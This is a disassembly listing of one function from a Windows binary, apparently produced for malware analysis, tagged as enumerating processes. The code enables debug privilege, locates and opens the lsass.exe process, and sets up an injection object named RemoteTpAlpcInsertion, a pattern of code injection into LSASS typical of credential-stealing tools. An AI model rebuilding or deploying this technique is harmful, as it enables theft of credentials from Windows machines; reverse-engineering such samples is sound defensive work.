Function at 0x18002c6a0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x2f0
mov rax, qword [0x180087020]
xor rax, rsp
mov qword [rsp + 0x2e8], rax
mov byte [rsp + 0x20], 0
xor esi, esi
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], shutdown
lea r8d, [rsi + 0x12]
lea rdx, [0x1800793d8]
lea rcx, [rsp + 0x40]
call fcn.180011350
lea r9, [rsp + 0x20]
xor r8d, r8d
mov dl, 1
lea ecx, [rsi + 0x14]
call qword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
mov edx, eax
lea rcx, [rsp + 0x40]
call fcn.18002a8e0
mov edi, esi
xor edx, edx
lea ecx, [rsi + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x18002c783
mov dword [rsp + 0xa0], 0x238
lea rdx, [rsp + 0xa0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x18002c77a
lea rdx, str.lsass.exe
lea rcx, [rsp + 0xcc]
call fcn.180043074
test eax, eax
je 0x18002c773
lea rdx, [rsp + 0xa0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
jmp 0x18002c744
mov edi, dword [rsp + 0xa8]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x48
call fcn.1800355bc
mov rbx, rax
mov dword [rax + 8], edi
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rsi
lea rax, [0x1800da560]
mov qword [rbx + 0x20], rax
mov qword [rbx + 0x28], 0x1d600
mov qword [rbx + 0x38], rsi
mov qword [rbx + 0x40], rsi
lea rax, vtable.RemoteTpAlpcInsertion.0
mov qword [rbx], rax
mov qword [rsp + 0x30], rbx
mov edi, dword [rbx + 8]
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], shutdown
mov r8d, inet_ntoa
lea rdx, [0x180079550]
lea rcx, [rsp + 0x60]
call fcn.180011350
mov r8d, edi
xor edx, edx
mov ecx, 0x478
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.18002b0c0
mov rsi, rax
mov ecx, 8
call fcn.1800355bc
mov rdi, rax
mov qword [rax], rsi
mov byte [rsp + 0x28], 0
mov qword [rsp + 0x80], rax
lea rax, [rsp + 0x28]
mov qword [rsp + 0x88], rax
mov byte [rsp + 0x90], 1
mov ecx, 0x18
call fcn.1800355bc
mov dword [rax + 8], 1
mov dword [rax + 0xc], 1
lea rcx, vtable.std::_Ref_count_resource_void____ptr64____ptr64__class__lambda_cbfdb94b8dd3b356c3e918ae6b636f11__.0
mov qword [rax], rcx
mov qword [rax + 0x10], rdi
mov qword [rbx + 0x10], rdi
mov rdi, qword [rbx + 0x18]
mov qword [rbx + 0x18], rax
test rdi, rdi
je 0x18002c8a7
mov esi, 0xffffffff
mov eax, esi
lock xadd dword [rdi + 8], eax
cmp eax, 1
jne 0x18002c8a7
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax]
lock xadd dword [rdi + 0xc], esi
cmp esi, 1
jne 0x18002c8a7
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov qword [rbx + 0x30], rax
mov rcx, qword [rbx + 0x10]
mov r9, qword [rbx + 0x28]
mov r8, qword [rbx + 0x20]
mov rdx, rax
mov rcx, qword [rcx]
call fcn.18002b250
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + reloc.WS2_32.dll_recv]
nop
mov rax, qword [rbx]
mov edx, 1
mov rcx, rbx
call qword [rax + 0x18]
nop
mov eax, 1
jmp 0x18002c8f5
mov rcx, qword [rsp + 0x2e8]
xor rcx, rsp
call fcn.180034f80
lea r11, [rsp + 0x2f0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret